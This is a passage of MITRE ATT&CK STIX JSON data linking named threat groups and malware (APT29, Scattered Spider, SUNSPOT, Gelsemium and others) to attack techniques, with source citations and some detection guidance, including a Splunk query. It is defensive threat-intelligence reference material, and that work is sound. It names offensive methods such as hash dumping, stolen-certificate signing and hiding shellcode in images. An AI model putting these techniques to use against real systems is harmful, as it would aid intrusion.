May 2019","url":"https://securelist.com/scarcruft-continues-to-evolve-introduces-bluetooth-harvester/90729/","description":"GReAT. (2019, May 13). ScarCruft continues to evolve, introduces Bluetooth harvester. Retrieved June 4, 2019."}],"modified":"2019-09-09T19:12:32.844Z","description":"[APT37](https://attack.mitre.org/groups/G0067) has a Bluetooth device harvester, which uses Windows Bluetooth APIs to find information on connected Bluetooth devices. (Citation: Securelist ScarCruft May 2019)","relationship_type":"uses","source_ref":"intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09c957e3-f89b-4b41-93af-bde08f00ce36","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee GhostSecret","description":"Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.","url":"https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/"}],"modified":"2019-09-09T19:15:45.694Z","description":"(Citation: McAfee GhostSecret)","relationship_type":"uses","source_ref":"intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a","target_ref":"malware--069af411-9b24-4e85-b26c-623d035bbe84","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--09cc5150-b68e-45de-9172-5fec7623c9ac","created":"2023-03-26T20:35:45.684Z","revoked":false,"external_references":[{"source_name":"CrowdStrike StellarParticle January 2022","description":"CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.","url":"https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/"},{"source_name":"Secureworks IRON RITUAL Profile","description":"Secureworks CTU. (n.d.). IRON RITUAL. Retrieved February 24, 2022.","url":"https://www.secureworks.com/research/threat-profiles/iron-ritual"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-26T20:35:45.684Z","description":"During the [SolarWinds Compromise](https://attack.mitre.org/campaigns/C0024), [APT29](https://attack.mitre.org/groups/G0016) used PowerShell to discover domain accounts by exectuing `Get-ADUser` and `Get-ADGroupMember`.(Citation: CrowdStrike StellarParticle January 2022)(Citation: Secureworks IRON RITUAL Profile)","relationship_type":"uses","source_ref":"campaign--808d6b30-df4e-4341-8248-724da4bac650","target_ref":"attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--09d53bfd-3a67-48f3-acba-385950defb50","created":"2022-09-08T15:13:08.351Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"McAfee Night Dragon","description":"McAfee® Foundstone® Professional Services and McAfee Labs™. (2011, February 10). Global Energy Cyberattacks: “Night Dragon”. Retrieved February 19, 2018.","url":"https://scadahacker.com/library/Documents/Cyber_Events/McAfee%20-%20Night%20Dragon%20-%20Global%20Energy%20Cyberattacks.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-15T20:15:30.425Z","description":"During [Night Dragon](https://attack.mitre.org/campaigns/C0002), threat actors used [gsecdump](https://attack.mitre.org/software/S0008) to dump account hashes.(Citation: McAfee Night Dragon)","relationship_type":"uses","source_ref":"campaign--ae407e32-87e0-4d92-8705-3ae25d504d8a","target_ref":"tool--b07c2c47-fefb-4d7c-a69e-6a3296171f54","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--09d73bf3-4cf6-4822-9b0f-4d6dc33a2cc6","created":"2024-03-13T21:14:38.836Z","revoked":false,"external_references":[{"source_name":"Mandiant Cutting Edge Part 3 February 2024","description":"Lin, M. et al. (2024, February 27). Cutting Edge, Part 3: Investigating Ivanti Connect Secure VPN Exploitation and Persistence Attempts. Retrieved March 1, 2024.","url":"https://www.mandiant.com/resources/blog/investigating-ivanti-exploitation-persistence"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-13T21:14:38.837Z","description":"[PITSTOP](https://attack.mitre.org/software/S1123) has the ability to communicate over TLS.(Citation: Mandiant Cutting Edge Part 3 February 2024)","relationship_type":"uses","source_ref":"malware--d79b1800-3b5d-4a4f-8863-8251eca793e2","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--09e3c20a-eb8a-4731-9d9b-39f08cc2ecc7","created":"2023-07-28T18:15:13.592Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Sygnia Elephant Beetle Jan 2022","description":"Sygnia Incident Response Team. (2022, January 5). TG2003: ELEPHANT BEETLE UNCOVERING AN ORGANIZED FINANCIAL-THEFT OPERATION. Retrieved February 9, 2023.","url":"https://f.hubspotusercontent30.net/hubfs/8776530/Sygnia-%20Elephant%20Beetle_Jan2022.pdf?__hstc=147695848.3e8f1a482c8f8d4531507747318e660b.1680005306711.1680005306711.1680005306711.1&__hssc=147695848.1.1680005306711&__hsfp=3000179024&hsCtaTracking=189ec409-ae2d-4909-8bf1-62dcdd694372%7Cca91d317-8f10-4a38-9f80-367f551ad64d"},{"source_name":"Mandiant FIN13 Aug 2022","description":"Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.","url":"https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-29T18:38:18.939Z","description":"[FIN13](https://attack.mitre.org/groups/G1016) has utilized custom malware to maintain persistence in a compromised environment.(Citation: Mandiant FIN13 Aug 2022)(Citation: Sygnia Elephant Beetle Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4","target_ref":"attack-pattern--212306d8-efa4-44c9-8c2d-ed3d2e224aa0","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09e94c75-2a53-4f13-a290-a4acf5dd4e71","type":"relationship","created":"2021-11-30T19:34:54.287Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Gelsemium June 2021","url":"https://www.welivesecurity.com/wp-content/uploads/2021/06/eset_gelsemium.pdf","description":"Dupuy, T. and Faou, M. (2021, June). Gelsemium. Retrieved November 30, 2021."}],"modified":"2021-11-30T19:34:54.287Z","description":"[Gelsemium](https://attack.mitre.org/software/S0666) can decompress and decrypt DLLs and shellcode.(Citation: ESET Gelsemium June 2021)","relationship_type":"uses","source_ref":"malware--efa7c4d6-8e30-41d9-a8fd-26dc337f4a1b","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--09ee94a2-db35-4932-9a77-b47364346186","created":"2023-07-13T19:32:32.234Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"CrowdStrike Scattered Spider BYOVD January 2023","description":"CrowdStrike. (2023, January 10). SCATTERED SPIDER Exploits Windows Security Deficiencies with Bring-Your-Own-Vulnerable-Driver Tactic in Attempt to Bypass Endpoint Security. Retrieved July 5, 2023.","url":"https://www.crowdstrike.com/blog/scattered-spider-attempts-to-avoid-detection-with-bring-your-own-vulnerable-driver-tactic/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-22T20:30:11.144Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has used self-signed and stolen certificates originally issued to NVIDIA and Global Software LLC.(Citation: CrowdStrike Scattered Spider BYOVD January 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--09f5abff-ad09-4d5b-a6c4-612d4171c089","created":"2022-07-21T17:03:44.450Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used steganography to hide shellcode in a BMP image file.(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-21T17:03:44.450Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--c2e147a9-d1a8-4074-811a-d8789202d916","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09f6307c-819e-4e35-bfc7-5314b0c3ce85","type":"relationship","created":"2021-01-13T18:23:50.514Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike SUNSPOT Implant January 2021","url":"https://www.crowdstrike.com/blog/sunspot-malware-technical-analysis/","description":"CrowdStrike Intelligence Team. (2021, January 11). SUNSPOT: An Implant in the Build Process. Retrieved January 11, 2021."}],"modified":"2021-01-14T15:36:30.832Z","description":"[SUNSPOT](https://attack.mitre.org/software/S0562) monitored running processes for instances of MsBuild.exe by hashing the name of each running process and comparing it to the corresponding value 0x53D525. It also extracted command-line arguments and individual arguments from the running MsBuild.exe process to identify the directory path of the Orion software Visual Studio solution.(Citation: CrowdStrike SUNSPOT Implant January 2021)","relationship_type":"uses","source_ref":"malware--bf48e7f8-752c-4ce8-bf8f-748edacd8fa6","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--09f8f0a2-a94f-466e-af4f-cf29ca6794c7","created":"2024-09-23T20:41:55.525Z","revoked":false,"external_references":[{"source_name":"unit42_gamaredon_dec2022","description":"Unit 42. (2022, December 20). Russia’s Trident Ursa (aka Gamaredon APT) Cyber Conflict Operations Unwavering Since Invasion of Ukraine. Retrieved September 12, 2024.","url":"https://unit42.paloaltonetworks.com/trident-ursa/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-23T20:41:55.525Z","description":"[Gamaredon Group](https://attack.mitre.org/groups/G0047) has used VPS hosting providers for infrastructure outside of Russia.(Citation: unit42_gamaredon_dec2022)","relationship_type":"uses","source_ref":"intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf","target_ref":"attack-pattern--79da0971-3147-4af6-a4f5-e8cd447cd795","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--09f92a2f-282d-484e-a3c9-b0fc603a1fb4","created":"2022-02-08T16:11:38.629Z","x_mitre_version":"1.0","external_references":[{"source_name":"Peirates GitHub","url":"https://github.com/inguardians/peirates","description":"InGuardians. (2022, January 5). Peirates GitHub. Retrieved February 8, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Peirates](https://attack.mitre.org/software/S0683) can enumerate Kubernetes pods in a given namespace.(Citation: Peirates GitHub)","modified":"2022-04-14T21:00:21.145Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"tool--79dd477a-8226-4b3d-ad15-28623675f221","target_ref":"attack-pattern--0470e792-32f8-46b0-a351-652bc35e9336","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--09fb9fcf-9bde-49f4-9b8b-ac35e0347c3b","created":"2022-10-18T16:22:18.624Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MagicWeb","description":"Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.","url":"https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"},{"source_name":"Mandiant Azure AD Backdoors","description":"Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.","url":"https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-19T15:14:20.010Z","description":"Enable security auditing to collect logs from hybrid identity solutions. For example, monitor sign-ins to the Entra ID Application Proxy Connector, which are typically generated only when a new Pass Through Authentication (PTA) Agent is added. (Citation: Mandiant Azure AD Backdoors) If AD FS is in use, review the logs for event ID 501, which specifies all EKU attributes on a claim, and raise alerts on any values that are not configured in your environment.(Citation: MagicWeb)\n\nAnalytic 1 - Unexpected sign-ins or new PTA Agent additions.\n\n index=third_party_logs sourcetype IN (\"azure:activity\", \"gsuite:reports:activity\", \"aws:cloudtrail\", \"office365:management\", \"saas_audit\")\n(eventName IN (\"AddServicePrincipal\", \"AddUser\", \"UpdateUser\", \"AddGroup\", \"UpdateGroup\", \"AddPolicy\", \"UpdatePolicy\", \"AddRole\", \"UpdateRole\", \"PutRolePolicy\", \"AttachUserPolicy\", \"AttachGroupPolicy\", \"AttachRolePolicy\") OR\n eventCategory IN (\"Sign-ins\", \"Security\", \"AuditLogs\") OR\n EventID IN (501, 4662) OR\n \"protoPayload.methodName\" IN (\"directory.users.update\", \"admin.directory.group.update\", \"admin.directory.roleAssignments.update\"))","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--f4c1826f-a322-41cd-9557-562100848c84","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--09fbfb74-459a-441b-9e07-96c146a26be3","type":"relationship","created":"2019-10-07T19:05:49.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit42 BabyShark Feb 2019","url":"https://unit42.paloaltonetworks.com/new-babyshark-malware-targets-u-s-national-security-think-tanks/","description":"Unit 42. (2019, February 22). New BabyShark Malware Targets U.S. National Security Think Tanks. Retrieved October 7, 2019."}],"modified":"2019-10-07T19:05:49.065Z","description":"[BabyShark](https://attack.mitre.org/software/S0414) has executed the whoami command.(Citation: Unit42 BabyShark Feb 2019)","relationship_type":"uses","source_ref":"malware--d1b7830a-fced-4be3-a99c-f495af9d9e1b","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a06686e-b4f4-4f1b-a4b2-b473e706f658","type":"relationship","created":"2022-03-30T14:26:51.861Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.861Z","description":"Monitor for newly constructed processes and/or command-lines for actions that could be taken to gather system and network information. System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a068253-0c11-4ba7-bac4-1290e5f50960","type":"relationship","created":"2021-03-02T18:16:41.063Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AppleJeus Feb 2021","url":"https://us-cert.cisa.gov/ncas/alerts/aa21-048a","description":"Cybersecurity and Infrastructure Security Agency. (2021, February 21). AppleJeus: Analysis of North Korea’s Cryptocurrency Malware. Retrieved March 1, 2021."}],"modified":"2021-03-02T18:16:41.063Z","description":"[AppleJeus](https://attack.mitre.org/software/S0584) has deleted the MSI file after installation.(Citation: CISA AppleJeus Feb 2021)","relationship_type":"uses","source_ref":"malware--e2d34c63-6f5a-41f5-86a2-e2380f27f858","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0a0c827d-98ba-4f95-a6ef-b0a34765d0f4","created":"2021-04-12T12:44:34.213Z","x_mitre_version":"1.0","external_references":[{"source_name":"Talos PoetRAT October 2020","url":"https://blog.talosintelligence.com/2020/10/poetrat-update.html","description":"Mercer, W. Rascagneres, P. Ventura, V. (2020, October 6). PoetRAT: Malware targeting public and private sector in Azerbaijan evolves . Retrieved April 9, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[PoetRAT](https://attack.mitre.org/software/S0428) has used FTP for C2 communications.(Citation: Talos PoetRAT October 2020)","modified":"2022-04-19T01:39:12.881Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--cc5497f7-a9e8-436f-94da-b2b4a9b9ad3c","target_ref":"attack-pattern--9a60a291-8960-4387-8a4a-2ab5c18bb50b","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a10c38f-58fc-4619-be86-d67f62495242","type":"relationship","created":"2022-03-30T14:26:51.836Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.836Z","description":"Monitor for changes made to files that are modified by unusual accounts outside of normal administration duties.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a154ef3-859f-4f13-b5c9-9bd0e91864f0","created":"2023-03-23T18:33:55.700Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"ESET Dukes October 2019","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020.","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T18:37:37.020Z","description":"For [Operation Ghost](https://attack.mitre.org/campaigns/C0023), [APT29](https://attack.mitre.org/groups/G0016) used stolen administrator credentials for lateral movement on compromised networks.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"campaign--7854c1a0-f06c-4876-98a4-4bbd34751b05","target_ref":"attack-pattern--c3d4bdd9-2cfe-4a80-9d0c-07a29ecdce8f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a18bfb9-582b-4a4f-8553-86f12014e99e","created":"2022-03-30T14:26:51.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-28T18:31:11.404Z","description":"Monitor and analyze traffic patterns and packet inspection associated to protocol(s) that do not follow the expected protocol standards and traffic flows (e.g extraneous packets that do not belong to established flows, gratuitous or anomalous traffic patterns, anomalous syntax, or structure). Consider correlation with process monitoring and command line to detect anomalous processes execution and command line arguments associated to traffic patterns (e.g. monitor anomalies in use of files that do not normally initiate connections for respective protocol(s)).","relationship_type":"detects","source_ref":"x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c","target_ref":"attack-pattern--bf1b6176-597c-4600-bfcd-ac989670f96b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a1b48b9-2063-449d-a316-c6760267720f","created":"2022-09-26T13:53:16.527Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender FunnyDream Campaign November 2020","description":"Vrabie, V. (2020, November). Dissecting a Chinese APT Targeting South Eastern Asian Government Institutions. Retrieved September 19, 2022.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/379/Bitdefender-Whitepaper-Chinese-APT.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-11T12:38:27.953Z","description":"[FunnyDream](https://attack.mitre.org/software/S1044) has established persistence by running `sc.exe` and by setting the `WSearch` service to run automatically.(Citation: Bitdefender FunnyDream Campaign November 2020)","relationship_type":"uses","source_ref":"malware--be25c1c0-1590-4219-a3d5-6f31799d1d1b","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a20969e-c201-47cd-ac08-8e1a9c764512","type":"relationship","created":"2019-07-19T17:27:02.775Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.","url":"https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers","source_name":"Cybereason Soft Cell June 2019"},{"source_name":"Microsoft GALLIUM December 2019","url":"https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/","description":"MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021."}],"modified":"2021-01-13T21:20:49.280Z","description":"(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)","relationship_type":"uses","source_ref":"intrusion-set--06a11b7e-2a36-47fe-8d3e-82c265df3258","target_ref":"tool--bba595da-b73a-4354-aa6c-224d4de7cb4e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a22e822-6fb8-4fe2-875d-a9dd79d8a574","type":"relationship","created":"2022-03-30T14:26:51.847Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.847Z","description":"Monitor network data for uncommon data flows. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--fb8d023d-45be-47e9-bc51-f56bcae6435b","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--0a23a684-c5e4-4ef1-8eb3-f55024cc71d5","created":"2024-05-22T22:10:41.957Z","revoked":false,"external_references":[{"source_name":"Unit42 Agrius 2023","description":"Or Chechik, Tom Fakterman, Daniel Frank & Assaf Dahan. (2023, November 6). Agonizing Serpens (Aka Agrius) Targeting the Israeli Higher Education and Tech Sectors. Retrieved May 22, 2024.","url":"https://unit42.paloaltonetworks.com/agonizing-serpens-targets-israeli-tech-higher-ed-sectors/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T22:10:41.957Z","description":"[Agrius](https://attack.mitre.org/groups/G1030) used [NBTscan](https://attack.mitre.org/software/S0590) to scan victim networks for existing and accessible hosts.(Citation: Unit42 Agrius 2023)","relationship_type":"uses","source_ref":"intrusion-set--b8137919-38cb-4db0-90f3-437be885faba","target_ref":"tool--b63970b7-ddfb-4aee-97b1-80d335e033a8","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0a26c696-1288-4cb3-a24e-bbd64925b9f7","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://github.com/quasar/QuasarRAT","description":"MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.","source_name":"GitHub QuasarRAT"},{"url":"https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/","description":"Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.","source_name":"Volexity Patchwork June 2018"}],"modified":"2019-06-24T19:05:41.452Z","description":"[QuasarRAT](https://attack.mitre.org/software/S0262) has a module for performing remote desktop access.(Citation: GitHub QuasarRAT)(Citation: Volexity Patchwork June 2018)","relationship_type":"uses","source_ref":"tool--da04ac30-27da-4959-a67d-450ce47d9470","target_ref":"attack-pattern--eb062747-2193-45de-8fa2-e62549c37ddf","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--0a28651c-ea35-4f05-a483-d9a60b06cbaf","created":"2022-04-19T03:05:58.911Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malicious Driver Reporting Center","url":"https://www.microsoft.com/security/blog/2021/12/08/improve-kernel-security-with-the-new-microsoft-vulnerable-and-malicious-driver-reporting-center/","description":"Azure Edge and Platform Security Team & Microsoft 365 Defender Research Team. 